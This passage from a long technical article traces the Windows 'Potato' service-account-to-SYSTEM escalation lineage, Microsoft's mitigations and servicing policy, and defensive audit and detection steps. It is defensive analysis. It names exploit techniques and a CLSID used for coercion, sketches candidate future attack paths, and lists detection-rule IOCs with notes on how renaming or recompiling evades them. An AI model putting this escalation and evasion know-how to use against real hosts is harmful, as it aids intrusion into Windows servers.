G3 DCOM Activation (Rotten/Juicy)	2016-2018	Coerced DCOM auth to attacker pipe	Win10 1809 OXID + CVE-2021-26414	Partial (some LTSC pins)
G4 Non-DCOM RPC Coercion (PrintSpoofer/Coerced)	2020-2024	MS-RPRN / MS-EFSR / MS-FSRVP coercion	Per-CVE patches	Yes (long tail)
G5 RPCSS OXID + NTLM-Loopback (GodPotato/Local/Silver)	2022-2024	RPCSS handling defect + cross-host NTLM relay	None for GodPotato; CVE-2023-21746 for LocalPotato; CVE-2024-38061 for SilverPotato (July 2024)	Yes (GodPotato unaddressed)

Microsoft's umbrella term for the post-2003 stack of mitigations around the service-account population: Service SIDs, restricted tokens, write-restricted tokens, integrity levels for services, the SCM's per-service required-privileges list, and the LPAC variants for select Windows components. The hardening is real, but as section 7 establishes, Microsoft has elected not to treat WSH as a *security* boundary.

Key idea: Eighteen years. Five generations. One privilege. The variable is the token source; the constant is the gate.

Each generation tells a story of an MSRC bulletin that closed a specific token source and a researcher who found a new one within months. But every generation also leaves the same three components in place: the privilege, the named-pipe coercion API, and Microsoft's choice not to close the family at its root. What if those three components, taken together, form a closed system?

5. The Three-Piece Theorem

The Potato lineage is not a collection of bugs. It is the consequence of a single architectural identity:

Key idea: SeImpersonatePrivilege + ImpersonateNamedPipeClient + the MSRC servicing-criteria carve-out = service-account-to-SYSTEM.

Each summand is individually documented. Each is individually shipped by Microsoft. Each is individually justified by a real engineering or product requirement. Together they form a closed system that no point fix can break, because removing any one of them breaks a documented Windows behaviour shipped applications depend on.

This is the article's main contribution: re-frame the eighteen-year named-exploit lineage as the consequence of a documented three-piece architectural decision rather than as a series of bugs.

Component 1: the privilege

SeImpersonatePrivilege is enumerated in the privilege-constants table as SE_IMPERSONATE_NAME [@ms-learn-privilege-constants] and is the subject of a dedicated security-policy page that lists default assignments [@ms-learn-impersonate-policy]. The LOCAL SERVICE and NETWORK SERVICE account documentation each enumerate it as (enabled) in the default privilege set [@ms-learn-localservice; @ms-learn-networkservice].

Cost of removal: every shipping RPC server that impersonates clients breaks; §7.1 walks through the production-Windows surface this affects in detail.

Component 2: the coercion API

ImpersonateNamedPipeClient has shipped since Windows XP / Server 2003 [@ms-learn-impersonatenamedpipeclient]. It is the standard mechanism by which a Win32 RPC server picks up the identity of a connecting client to make per-user access checks. Deprecating it is not a question of swapping one API for another -- the Microsoft-recommended impersonation APIs (RpcImpersonateClient, the LSA-side variants) ultimately compose into the same kernel-side token-substitution call.

Cost of removal: the named-pipe RPC server population that pre-dates the modern impersonation APIs breaks; §7.3 details the SMB-redirector, Print-Spooler, EFS-RPC, and broader Win32 ABI migration cost.

Component 3: the carve-out

Microsoft's public policy document defining what counts as a security boundary, a security feature, and a defence-in-depth feature for servicing purposes. The two-question test is direct: "Does the vulnerability violate the goal or intent of a security boundary or a security feature? Does the severity of the vulnerability meet the bar for servicing?" If either answer is no, "the vulnerability will be considered for the next version or release of Windows but will not be addressed through a security update or guidance" [@msrc-windows-security-servicing-criteria].

The MSRC Windows Security Servicing Criteria document [@msrc-windows-security-servicing-criteria] is the policy-level anchor. The operational articulation came at Troopers 24 from Pierini and Cocomazzi, who named the doctrine in three sentences anchored on the WSH-as-safety-not-security distinction [@pierini-cocomazzi-troopers24-talk]. §7 opens with the full quote and walks through its implications; for the three-piece theorem here, what matters is that the carve-out is documented and Microsoft-position-as-stated, not inferred from per-CVE behaviour.

Cost of removal: Microsoft commits to the per-CVE cadence becoming a structural-close cadence -- servicing every coercion API in the long tail, every NTLM-loopback edge case, every cross-session token confusion, on the same SLAs as kernel RCEs. The MSRC has explicitly declined to take on that workload [@msrc-windows-security-servicing-criteria].

"if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM" -- Andrea Pierini; "a deliberately provocative shortcut obviously, but it's not far from the truth" -- Clement Labro's gloss on the same line [@labro-2020-printspoofer-post] flowchart TB Priv["SeImpersonatePrivilege, default-assigned to LOCAL SERVICE and NETWORK SERVICE. Removing this breaks every service that impersonates clients."] API["ImpersonateNamedPipeClient, shipped since XP/Server 2003. Removing this breaks every named-pipe RPC server."] Doctrine["MSRC servicing criteria: WSH is a safety boundary, not a security boundary. Changing this commits Microsoft to a structural-close servicing cadence."] Center["Service-account to SYSTEM"] Priv --> Center API --> Center Doctrine --> Center

The original focus paragraph that seeded this article mentioned "RBAC for services" as one of Microsoft's mitigations. The Stage 0a focus-premise audit found this phrase to be non-standard Windows terminology and explicitly retracted it; Microsoft has never shipped a Windows-side RBAC architecture for services. Azure RBAC and Microsoft Entra RBAC are cloud-side authorisation systems and do not gate the local SeImpersonatePrivilege at all. Section 6.6 returns to this retraction in full.

If the primitive is a closed three-piece system, what has Microsoft actually shipped in the eighteen years since Cerrudo? Five containment mitigations -- each of which narrows the surface around the primitive without closing it.

6. Five Mitigations and the Surface None of Them Closes

Microsoft has not been idle. Over nineteen years of service hardening they have shipped Service SIDs, restricted tokens, the Less-Privileged AppContainer model, group Managed Service Accounts, and the three-phase DCOM hardening of CVE-2021-26414. Each closes a real surface. None of them closes the primitive. The pattern is too consistent to be accidental.

6.1 Service SID isolation (Vista, 2007)

Vista shipped per-service SIDs of the form NT SERVICE\<name> -- a SID generated on the fly from the service's name and attached to the service-process token. Forshaw's The Art of Becoming TrustedInstaller is the canonical reference for the derivation: "The SID itself is generated on the fly as the SHA1 hash of the uppercase version of the service name" [@forshaw-2017-08-trustedinstaller]. Service SIDs are also documented as part of the SCM service-security model [@ms-learn-service-security].

A SID of the form `NT SERVICE\` derived as the SHA1 hash of the uppercased service name. Service SIDs let an ACL grant access to a specific service without granting access to every service running under the same account. When `SERVICE_SID_TYPE_UNRESTRICTED` is configured, the Service SID is added to the service-process token as a regular group SID.

Closes: lateral movement between services sharing an account. A NETWORK SERVICE process for service A cannot, by Service SID alone, open files ACL'd to NETWORK SERVICE for service B.

Does NOT close: vertical movement to SYSTEM via NETWORK SERVICE. Forshaw's April 2020 Sharing a Logon Session a Little Too Much documents the LSASS cached-token defect that underpins GodPotato: even with Service SIDs in place, the local logon session that LSASS retrieves for a same-machine authentication is the session's token, not the caller's token, which is exactly the structural property GodPotato weaponises [@forshaw-2020-04-sharing-logon-session].

6.2 Restricted and write-restricted service tokens (Vista 2007, backport via MS09-012)

SERVICE_SID_TYPE_RESTRICTED and WRITE_RESTRICTED are SCM configuration values that wrap the service-process token in a restricting-SID set; the kernel performs every access check twice (once against the regular group SIDs, once against the restricting set) and grants only the intersection. Forshaw's January 2020 empirical assessment is the canonical study of what these settings actually accomplish: "In the past few years there's been numerous exploits for service to system privilege escalation. Primarily they revolve around the fact that system services typically have impersonation privilege" [@forshaw-2020-01-empirical-wsh].

A token marked with a *restricting SID* set in addition to its regular group SIDs. The kernel grants access only when both sets satisfy the ACL. Configured per-service via `SERVICE_SID_TYPE_RESTRICTED` (or `WRITE_RESTRICTED`, which restricts only write access). The intent is to prevent a compromised service from touching arbitrary objects outside an explicit allow-list of restricting SIDs.

Closes: the compromised service's ability to write to (or read, depending on configuration) arbitrary objects outside its restricting-SID set.

Does NOT close: SeImpersonatePrivilege is not revoked. A restricted token can still call ImpersonateNamedPipeClient and CreateProcessWithTokenW. The privilege gate is orthogonal to the restricting-SID gate.

6.3 LPAC (Less-Privileged AppContainer) for select services (Windows 10+)

Some Microsoft components opt into the AppContainer model with the Less-Privileged variant: the Edge browser broker, certain Defender child processes, parts of the DNS Client and Web Account Manager stacks. Inside an LPAC, the process runs with a deny-all token capabilities profile and must declare every Win32 capability it intends to use. The sibling AppContainer and LowBox Tokens article (2026-05-12) covers the model in depth.

Closes: the attack surface of a few specific Microsoft-shipped contained services.

Does NOT close: the LOCAL SERVICE and NETWORK SERVICE population this article is about is not LPAC-contained by default. Declaring an LPAC service requires rewriting the service to operate inside an AppContainer, which most product teams do not undertake.

Building an LPAC service is not a configuration flag; it is an architectural commitment. The service must declare every Win32 capability it uses, must be packaged through the modern app installer pipeline, and must accept the deny-by-default file-system view that the LPAC sandbox enforces. The cost is real for legacy code -- file paths and registry keys the service has historically reached without scrutiny become inaccessible, and IPC patterns that assumed a normal token need to be re-engineered through capability-mediated brokers. Even Microsoft uses LPAC narrowly. Third-party adoption among independent software vendors that ship NETWORK SERVICE workloads is essentially nil. The mitigation that *would* containerise the impersonation surface is technically available; in practice almost nobody uses it.

6.4 group Managed Service Accounts (gMSA, Server 2012+)

gMSA is Microsoft's solution to the credential-hygiene problem for service accounts: a domain-managed identity whose 240-byte password is rotated automatically by the KDS Root Key, retrieved by authorised hosts via Group Policy, and never typed by a human [@ms-learn-gmsa-overview].

Closes: domain-credential exposure for service accounts. A service no longer has a memorable password an admin will reuse; the credential lives in AD and is rotated on a schedule.

Does NOT close: anything to do with SeImpersonatePrivilege on the local box. gMSA is a credential-hygiene mitigation, not a privilege-escape mitigation. A service running under a gMSA still holds the same default service-account privileges, and the SilverPotato-class cross-host coerce-and-relay flow [@pierini-2024-silverpotato-post; @nvd-cve-2024-38061] directly exploits a chain that gMSA does not protect against (per-variant patches like CVE-2024-38061 close instances, not the class).

6.5 CVE-2021-26414 three-phase DCOM hardening

CVE-2021-26414 raised the minimum DCOM client authentication level to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY. The rollout was deliberately gradual: phase 1 (2021-06-08) opt-in via registry, phase 2 (2022-06-14) opt-out via registry, phase 3 (2023-03-14) enforced with no opt-out [@nvd-cve-2021-26414].

Closes: the original RottenPotato and JuicyPotato OBJREF-with-attacker-OXID chain on phase-3-enforced builds. The DCOM activation surface those variants depended on is meaningfully harder after phase 3.

Does NOT close: anything that does not depend on DCOM activation. GodPotato (RPCSS OXID handling, not DCOM activation) remains functional [@beichendream-godpotato-readme]; PrintSpoofer / CoercedPotato (non-DCOM RPC coercion) remain functional [@labro-2020-printspoofer-post; @prepouce-coercedpotato-repo]; JuicyPotatoNG found a same-quarter bypass on the DCOM side via the PrintNotify CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} [@antoniococo-juicypotatong-repo]; SilverPotato used a different CLSID and a cross-host relay until Microsoft fixed it as CVE-2024-38061 in July 2024 [@pierini-2024-silverpotato-post; @nvd-cve-2024-38061] -- a per-variant fix that illustrates exactly why CVE-2021-26414 does not address the cross-host coerce-and-relay class as a whole.

6.6 The mitigation that does not exist: "RBAC for services"

Windows has shipped no unified RBAC architecture for local services. The SCM provides per-service SDDL controls, the file system and registry provide per-resource ACLs everywhere, and Service SIDs let ACLs name a specific service identity -- but "RBAC for services" as a single named mechanism is non-standard Windows terminology. Azure RBAC and Microsoft Entra RBAC are cloud-side authorisation systems and do not gate the local SeImpersonatePrivilege at all. The §5 Sidenote on the Stage 0a focus-premise retraction covers the audit-trail framing; this subsection states the reader-facing point.

flowchart TB M1["Service SID Isolation, Vista 2007"] M2["Restricted and Write-Restricted Tokens, Vista 2007 plus MS09-012 backport"] M3["LPAC for select services, Windows 10 plus"] M4["gMSA, Server 2012 plus"] M5["CVE-2021-26414 three-phase DCOM hardening, 2021-2023"] Surface1["Closes lateral movement between same-account services"] Surface2["Closes write access outside restricting-SID set"] Surface3["Closes blast radius of select Microsoft-shipped services"] Surface4["Closes domain-credential exposure"] Surface5["Closes DCOM activation chain, Rotten and Juicy"] Core["Service-account-to-SYSTEM, primitive remains open"] M1 --> Surface1 M2 --> Surface2 M3 --> Surface3 M4 --> Surface4 M5 --> Surface5 Surface1 -. "does not reach" .-> Core Surface2 -. "does not reach" .-> Core Surface3 -. "does not reach" .-> Core Surface4 -. "does not reach" .-> Core Surface5 -. "does not reach" .-> Core

Mitigation	What it closes	What it does NOT close	Primary
Service SID Isolation (Vista 2007)	Lateral movement between services sharing an account	Vertical SYSTEM via NETWORK SERVICE LSASS-cached-token defect	[@forshaw-2017-08-trustedinstaller; @forshaw-2020-04-sharing-logon-session]
Restricted / Write-Restricted Tokens	Write access to non-restricting-SID objects	`SeImpersonatePrivilege` still present; `CreateProcessWithTokenW` still works	[@forshaw-2020-01-empirical-wsh]
LPAC (Windows 10+)	Select-services blast radius	NETWORK / LOCAL SERVICE population not LPAC-contained by default	sibling AppContainer article
gMSA (Server 2012+)	Domain-credential exposure	Local `SeImpersonate`; SilverPotato-class cross-host relay	[@ms-learn-gmsa-overview]
CVE-2021-26414 phase 3 (2023-03-14)	DCOM activation chain (Rotten/Juicy)	GodPotato (RPCSS), PrintSpoofer (non-DCOM), JuicyPotatoNG (same-quarter bypass)	[@nvd-cve-2021-26414]

Note: None of this section is an indictment of the mitigations. Each one closes a meaningful surface, and a NETWORK SERVICE host with all five active is materially harder to attack than a host without them. But the surface they collectively leave open -- the SeImpersonatePrivilege plus ImpersonateNamedPipeClient plus coercion-API combination -- is the surface that every shipping Potato variant lives on. The gap is not a missing patch. The gap is the design.

Microsoft has shipped five mitigations in nineteen years. Every one narrows the surface around the primitive. None of them closes it. The pattern is too consistent to be accidental. So what is the policy that produces this pattern?

7. The MSRC Servicing-Criteria Carve-Out

Most of these exploits allow an attacker to break the WSH (Windows Service Hardening) boundary, enabling privilege escalation from a limited service to SYSTEM: a common scenario when dealing with web services like IIS or MSSQL. Interestingly, Microsoft does not consider WSH a security boundary but rather a safety boundary; for this reason, many Potato exploits work (and have been working) on fully updated Windows systems. -- Andrea Pierini and Antonio Cocomazzi, Troopers 24 [@pierini-cocomazzi-troopers24-talk]

This is the Microsoft-position-as-stated-to-researchers anchor for the entire article. The MSRC Windows Security Servicing Criteria page [@msrc-windows-security-servicing-criteria] is the policy-document anchor with the same content: the two-question test "Does the vulnerability violate the goal or intent of a security boundary or a security feature? Does the severity of the vulnerability meet the bar for servicing?" If either answer is no, the vulnerability is considered for the next version of Windows but is not addressed through a security update.

Service-to-SYSTEM escalation across the Windows Service Hardening boundary is not a violation of a security boundary. It is a violation of a safety boundary. The distinction is doctrinal and explicit. Microsoft will fix specific token-source primitives -- LocalPotato got CVE-2023-21746, FakePotato got CVE-2024-38100 -- but the class is, on the record, not within scope for security servicing [@nvd-cve-2023-21746; @nvd-cve-2024-38100].

Why? Walk through each of the three closure paths Microsoft could in principle take, and the cost of each.

7.1 Revoke `SeImpersonatePrivilege` from NETWORK SERVICE and LOCAL SERVICE

The cleanest fix in the model: drop the privilege from the default-assignment list documented on the LOCAL SERVICE and NETWORK SERVICE account pages [@ms-learn-localservice; @ms-learn-networkservice]. Every Potato variant that ends in CreateProcessWithTokenW fails immediately.

Cost. Every RPC server, web server, database server, and Office service that needs to act on a client's behalf breaks. The privilege exists because services need it. IIS application pools cannot impersonate authenticated users; SQL Server cannot enforce per-login row security; Exchange cannot operate on mailboxes under the connected user's identity; the print spooler cannot enforce per-user printer ACLs; the file server cannot enforce per-user file ACLs. The 2003 service-hardening pivot would be reversed -- services would have to run as SYSTEM again to do the work they need to do, which is precisely the worm-target population Microsoft spent the early 2000s migrating away from.

7.2 Declare local DCOM activation a security boundary and service it

This was the partial path Microsoft did take with CVE-2021-26414 [@nvd-cve-2021-26414]: tighten the DCOM activation surface and ship the change in three phases over twenty-one months. But declaring all local DCOM activation a security boundary requires a serviceable-CVE pipeline for every cross-session COM activation, every cross-integrity-level activation, every weakly-authenticated marshalled OBJREF.

Cost. MSRC has declined to take on that workload. The on-the-record case is RemotePotato0 [@antoniococo-remotepotato0-repo], which was classified "Won't Fix" by MSRC as the first explicit declination in the lineage -- documented in Forshaw's 2021 retrospective as still unpatched at the time of writing [@forshaw-2021-10-relaying-dcom-pz]. RemotePotato0 is the empirical evidence that Microsoft has chosen to live with a known cross-session DCOM relay rather than commit to a structural close.

7.3 Deprecate `ImpersonateNamedPipeClient`

Remove the named-pipe-server impersonation API from the Win32 surface. Mark it deprecated. Stop callers from using it. Provide a replacement that requires explicit per-request token plumbing.

Cost. Most Win32 RPC servers stop being able to impersonate their callers. The SMB redirector, the Print Spooler, the EFS RPC server, and a long tail of named-pipe RPC servers depend on this specific API; their alternatives all compose into the same kernel-side call. The replacement -- a per-request capability handle threading through every RPC binding -- would be a multi-year ABI change with no clean migration path for legacy binaries.

flowchart LR Start["Closure path"] A["A. Revoke SeImpersonatePrivilege from NETWORK SERVICE and LOCAL SERVICE"] B["B. Declare local DCOM activation a security boundary, service every CVE"] C["C. Deprecate ImpersonateNamedPipeClient"] Cost1["Breaks IIS, Exchange, MSSQL, Office services"] Cost2["Per-CVE servicing pipeline for every cross-session COM activation, MSRC has declined"] Cost3["Breaks SMB redirector, Print Spooler, EFS, every named-pipe RPC server that impersonates"] Converge["Compatibility cost Microsoft has not accepted"] Start --> A Start --> B Start --> C A --> Cost1 --> Converge B --> Cost2 --> Converge C --> Cost3 --> Converge

RemotePotato0 [@antoniococo-remotepotato0-repo] holds a particular place in the lineage because it is the first variant for which MSRC's "Won't Fix" classification became public on the record. Forshaw's 2021 Project Zero retrospective notes the variant as "currently unpatched as of October 2021" [@forshaw-2021-10-relaying-dcom-pz], and Microsoft did not subsequently issue a CVE for it. The Stage 5 outline cross-references the sibling Potato Family article (2026-05-31) for variant detail; in this article RemotePotato0 functions as the empirical proof that the carve-out is not a hypothetical preference but a shipped policy choice.

Key idea: Eighteen years. Five mitigations. Three closure paths Microsoft has explicitly declined to take. The primitive is not unpatched. It is documented-as-policy not to be patched.

Microsoft has chosen, on the record, to treat this boundary as a safety boundary rather than a security boundary. Is that an architectural failure -- or is it a rational policy choice under a deeper structural constraint? Hardy 1988 has an answer.

8. The Hardy Ceiling

Norm Hardy named the class in 1988. Forty years later, Windows is still demonstrating it. The confused-deputy attack surface is not a Microsoft mistake; it is the predictable behaviour of any identity-and-ACL system in which a server holds more authority than its clients and acts on client requests [@hardy-1988].

The argument generalises beyond Windows. Any system that lets a process inherit ambient authority from its identity, and then lets that process act on requests from less-authorised principals, has a confused-deputy surface by construction. The only complete defence is capability discipline: bind authority to operations rather than to running identities, and never let a process exercise authority it was not explicitly handed [@hardy-1988]. Lampson's 1971 access-matrix paper is the formal substrate the argument depends on [@lampson-1971].

Windows is not a capability system. It is an identity-and-ACL system, as Cutler's NT 3.1 team chose in 1993 [@ms-learn-windows-internals]. As long as that remains true, some version of "service-account to higher-privileged identity" is reachable, and the only question is which specific token-source primitive is currently in play. Microsoft's eighteen-year per-CVE response cadence is consistent with that ceiling. Each individual token source is fixable; the class is not.

The capability-systems lineage -- KeyKOS, EROS, Coyotos, seL4 -- spent four decades demonstrating that the confused-deputy class is closeable in principle. In a capability system, when Hardy's user passed the FORTRAN compiler the path to the billing file as a debug-output target, the OS would have handed the compiler a write capability only for the file the *user* could write -- not for `(SYSX)BILL`. The compiler could not have damaged the bill even if it tried. seL4 has a machine-checked proof of this property. But none of those systems is the Windows service-compatibility envelope, and porting Windows to a capability substrate is not on any public roadmap. The road exists; Microsoft has not taken it.

The closest in-architecture approximations Windows has shipped are narrow: AppContainer and LowBox tokens (the sibling AppContainer article 2026-05-12) bind a subset of authority to declared capabilities for select Microsoft components; the Adminless / Administrator Protection feature (sibling Adminless article 2026-05-10) binds elevation authority to per-action prompts for interactive admins. Both are partial applications of the capability principle within an otherwise identity-and-ACL system. Neither extends to the service-account population this article is about.

Key idea: Windows is an identity-and-ACL system. As long as it remains one, the confused-deputy class is structurally present, and the Potato lineage is its Windows-specific instantiation.

If the ceiling is structural and Microsoft has chosen the doctrine to match, what is the offensive-research community working on next? And what should defenders be doing in the meantime?

9. Open Problems

The closure of LocalPotato in 2023, SilverPotato (CVE-2024-38061) in July 2024, and FakePotato (CVE-2024-38100) in July 2024 did not slow the lineage. GodPotato remains functional. The supply of coercion APIs is structurally large. Microsoft has shipped no policy change. The four open questions below define what the lineage looks like through the rest of the decade.

9.1 The coercion-API treadmill

Generation 4 demonstrated that any Windows RPC interface accepting an attacker-supplied path or endpoint and resolving it server-side under a privileged identity is a viable token source. CoercedPotato's MS-EFSR catalogue alone lists fourteen entry points (two marked NOT WORKING) [@prepouce-coercedpotato-repo], with additional protocols (MS-RPRN, MS-FSRVP, MS-DFSNM) in the same family. Microsoft patches per CVE -- PrintNightmare cluster around MS-RPRN, targeted MS-EFSR fixes -- but the supply is not exhausted, and there is no public Microsoft commitment to exhaustive enumeration or class-level closure.

9.2 GodPotato's RPCSS OXID path

Three years after the three-phase CVE-2021-26414 DCOM hardening completed [@nvd-cve-2021-26414], GodPotato remains functional across the README's tested Windows matrix (Server 2012-2022 / Windows 8-11) [@beichendream-godpotato-readme]. No public Microsoft patch has been issued for the underlying defect through mid-2026. The architectural question -- is RPCSS itself the right place to harden, or is the LSASS cached-token defect Forshaw documented in April 2020 [@forshaw-2020-04-sharing-logon-session] the right place -- remains open. Microsoft has assigned no CVE.

9.3 Credential Guard does not stop this

Credential Guard protects the NTLM hash and Kerberos TGT in the LSASS Isolated User Mode trustlet. It does not protect against runtime impersonation of an already-issued token. The boundary between credential-theft mitigations and impersonation mitigations is frequently confused.

Credential Guard's actual scope is narrower than its name suggests. The mitigation moves long-term authenticators -- the NT hash, the Kerberos TGT, and certain ticket-granting material -- into an isolated user-mode trustlet whose memory the regular kernel cannot read. None of that touches the runtime token plumbing the Potato lineage exercises. The token you receive from ImpersonateNamedPipeClient is not a credential and is not held in LSASS-isolated memory; Credential Guard cannot see it.

Note: Practitioners frequently treat Credential Guard and Virtualisation-Based Security as a generic answer to "Windows privilege-escalation risk." For the Potato family they are not. A Credential-Guard-enabled host that runs IIS as NETWORK SERVICE is as vulnerable to PrintSpoofer / CoercedPotato / GodPotato as a host without VBS. The category error matters operationally: a security team that buys Credential Guard expecting it to mitigate this primitive is misallocating defensive budget.

9.4 The "service boundary" re-definition Microsoft has quietly avoided

Adminless / Administrator Protection -- the 2024-2025 feature that re-frames local admin identity as a per-action consent surface [@ms-learn-admin-protection] (covered in the sibling Adminless article 2026-05-10) -- explicitly excludes services from its new boundary.

The Adminless documentation scopes the feature to interactive administrator accounts on a device [@ms-learn-admin-protection]; services, MSAs, gMSAs, and virtual accounts are out of scope by construction because none of them is an interactive admin account. The new boundary applies to elevation-prompt consent for interactive admins, not to service-account workloads. The open question is whether Microsoft will ever extend the Adminless boundary to include service accounts. As of mid-2026, the answer is not on the public roadmap.

9.5 Generation-6 candidates

Three candidate paths for the next generation of the lineage, none with a pushbutton PoC on the scale of HotPotato / JuicyPotato / PrintSpoofer / GodPotato as of mid-2026:

Kerberos-only loopback coercion. The existing NTLM-reflection mitigations target NTLM specifically; a coercion primitive that lands as a Kerberos AP-REQ to the same loopback endpoint would sidestep them.
Virtual-account / gMSA token-state defects. Forshaw's April 2020 analysis [@forshaw-2020-04-sharing-logon-session] established that the LSASS cached-token logic has surprising behaviours under same-machine authentication; the gMSA-account variant of those edge cases has not been publicly explored.
Cross-host extensions beyond ADCS. SilverPotato's coerce-and-relay chain into ADCS infrastructure [@pierini-2024-silverpotato-post] -- patched as CVE-2024-38061 in July 2024 [@nvd-cve-2024-38061] but exemplifying an open class -- is the strongest current exemplar for the "Generation 6" archetype: cross-host coerce-and-relay attacks that combine the existing local impersonation primitive with off-box authentication targets. LDAP, WinRM, and MSSQL-with-cert-auth are obvious next targets for the same class; what matters for taxonomy is the cross-host shape, not the patched-or-unpatched status of any specific variant.

If the lineage is not closing, what should a defender actually do today?

10. Defending, Detecting, and (Carefully) Removing the Privilege

Three operational questions: which accounts hold the privilege on your box, can you remove it, and how do you detect when someone is actually using it?

10.1 Auditing which accounts hold `SeImpersonatePrivilege`

The first defensive action is enumeration -- not removal. Concrete commands, in increasing order of detail:

whoami /priv -- per-process self-check from any shell. Reports the token's privileges in the form the article opens with.
secedit /export /cfg secpol.cfg -- full local-policy export. Grep the output for SeImpersonatePrivilege to see every SID the local policy grants it to.
accesschk.exe -a SeImpersonatePrivilege -- the Sysinternals AccessChk tool [@ms-learn-accesschk] enumerates the effective holders directly from the LSA policy database.
Get-NtTokenPrivileges from James Forshaw's NtObjectManager PowerShell module [@forshaw-ntobjectmanager-repo] -- the same data, scriptable, with the broader NtObjectManager surface available for follow-up (named-pipe enumeration, token-handle leak search, kernel-object introspection).
Invoke-PrivescCheck from Clement Labro's PrivescCheck module [@labro-privesccheck-repo] -- the canonical local-privesc check-list. The output includes SeImpersonatePrivilege presence as one of approximately forty enumerated checks.

Tool	Author	What it reports
AccessChk (Sysinternals)	Mark Russinovich	Effective permissions, account-privilege enumeration via `-a` [@ms-learn-accesschk]
NtObjectManager	James Forshaw	`Get-NtTokenPrivileges`, named-pipe enumeration, token-handle leak search [@forshaw-ntobjectmanager-repo]
PrivescCheck	Clement Labro	Canonical local-privesc check-list incl. `SeImpersonatePrivilege` presence [@labro-privesccheck-repo]

{` // Logic of: secedit /export /cfg secpol.cfg ; grep SeImpersonate const secpol = readPolicyExport(); // produced by secedit const holders = secpol['SeImpersonatePrivilege'] || [];

console.log('SIDs holding SeImpersonatePrivilege:'); for (const sid of holders) { console.log(' ' + sid); }

// Typical default on a server-style install: // S-1-5-19 (NT AUTHORITY\LOCAL SERVICE) // S-1-5-20 (NT AUTHORITY\NETWORK SERVICE) // S-1-5-32-544 (BUILTIN\Administrators) // S-1-5-6 (NT AUTHORITY\SERVICE) `}

10.2 Removing the privilege where you can

The policy path is documented: Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Impersonate a client after authentication [@ms-learn-impersonate-policy]. The temptation, especially after reading an article like this one, is to remove SeImpersonatePrivilege from NETWORK SERVICE wholesale.

Do not do that. It will break IIS, Exchange, SQL Server, and most other Windows server products -- the same set the 2003 service-hardening pivot was designed to support. The realistic defensive approach is narrower: audit first, understand the dependency surface, then narrow the assignment to the specific service accounts that need it on the specific hosts where they run. On hosts that do not run an RPC-impersonating workload (jump boxes, build agents, certain hardened-management hosts), the privilege can sometimes be removed safely from the unused well-known accounts.

Note: The single most common mistake after reading any Potato writeup is to remove the privilege from NETWORK SERVICE on a production host. Doing so breaks IIS (per-user authentication fails), Exchange (mailbox impersonation fails), SQL Server (per-login row security fails), the SMB redirector (file-server impersonation fails), the Print Spooler (per-user printer ACLs fail), and most third-party Win32 service products. The privilege exists because services need it. Audit before you remove. Remove only after you have positively identified which production services on this host depend on the privilege and confirmed none of them does.

*Hidden behind a spoiler intentionally, so a skimming reader does not accidentally remove the privilege from production NETWORK SERVICE.* Open `gpedit.msc` (or the Group Policy Management Console for a domain-joined host). Navigate Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Impersonate a client after authentication. The right-hand pane lists the SIDs holding the privilege. Note the current list. Do not change it. Compare it against the audit output from Section 10.1. If the local list and the AccessChk output disagree, you have a domain-pushed policy override worth tracing. If they agree and you have a documented business reason to remove a specific account, change the policy for that specific account only, and confirm on a non-production host that the dependent services still function.

10.3 Detection signatures

Detection in this space breaks into two abstractions: primitive-level rules that match the named-pipe pattern every Potato variant generates, and named-tool rules that match a specific binary's fingerprint.

The primitive-level open-source reference is the Elastic detection rule Privilege Escalation via Rogue Named Pipe [@elastic-rogue-named-pipe-rule] (as of June 2026; the cited URL pins to the master HEAD), rule_id 76ddb638-abf7-42d5-be22-4a70b0bf7241. The EQL queries Sysmon Event ID 17 (pipe-creation events) and matches paths in which a \pipe\ token appears after another path segment -- the canonical PrintSpoofer-style relay endpoint fingerprint. Because the rule looks for the pattern every Potato variant produces (a service-account process creating a named pipe whose path embeds a coercion-API hint), it survives binary rename, source-recompile, and most CLI variation.

The named-tool reference is the SigmaHQ LocalPotato rule [@sigmahq-localpotato-rule] (as of June 2026; the cited URL pins to the master HEAD), rule id 6bd75993-9888-4f91-9404-e1e4e4e34b77. Three OR-joined selectors: image path ending in \LocalPotato.exe; CLI fingerprint -i C:\ paired with -o Windows\; specific IMPHASH selectors E1742EE971D6549E8D4D81115F88F1FC and DD82066EFBA94D7556EF582F247C8BB5. Useful as a low-noise IOC tripwire; trivially evaded by binary rename or recompilation.

The Sigma LocalPotato rule is a perfectly competent detection rule for *the LocalPotato binary distributed at a specific commit*. It is essentially useless against the *technique*. An attacker recompiling LocalPotato from source breaks the IMPHASH selectors; renaming the output binary breaks the image-path selector; rewriting the CLI argument parsing breaks the third selector. The rule is brittle by construction, and the brittleness is structural to named-tool detection. The same point this article makes about Microsoft's per-CVE patches applies one level down: closing this binary does not close the technique; closing this technique does not close the primitive.

Note: Invest detection budget in the Elastic primitive-level rule (or equivalent) and accept the higher false-positive rate that comes with it. The named-tool rules are a useful low-noise tripwire but should not be the primary signal. The same logic that makes the privilege durable against per-CVE patches makes the named-tool rules ephemeral against re-tooling.

We have walked the eighteen-year history, named the three-piece system, surveyed the mitigations, articulated the Microsoft policy, hit the Hardy ceiling, scanned the open problems, and listed the operational tools. One thing remains: the eight misconceptions practitioners hold about this primitive that the article must explicitly correct.

11. FAQ -- Eight Misconceptions That Will Not Die

No. UAC (User Account Control) is an interactive-token consent surface for desktop logons; it gates whether an interactive admin can elevate to a full administrator token at consent-prompt time. Service accounts have no interactive logon and never see a UAC prompt. NETWORK SERVICE and LOCAL SERVICE inherit `SeImpersonatePrivilege` in their default token regardless of UAC settings [@ms-learn-localservice; @ms-learn-networkservice]; the Potato chain runs entirely under the service token without ever touching the interactive consent surface. No. Credential Guard protects long-term credentials (the NTLM hash, the Kerberos TGT) in an isolated user-mode trustlet whose memory the regular kernel cannot read. The Potato lineage does not steal a credential and does not call into LSASS-isolated memory -- see §9.3 for the architectural detail. The operational takeaway: Credential Guard and VBS are orthogonal to runtime token impersonation, and a security team buying VBS in response to Potato writeups is misallocating defensive budget. Not if the account holds `SeImpersonatePrivilege`. LOCAL SERVICE and NETWORK SERVICE both hold it by default and have it enabled in their default tokens [@ms-learn-localservice; @ms-learn-networkservice]. The gate is the privilege, not the account name. A service that has been "hardened" by moving from SYSTEM to NETWORK SERVICE still has the gate open. Real hardening requires either removing the privilege from the account on that specific host (with the compatibility risks Section 10.2 describes) or running the service under a custom account that does not get the 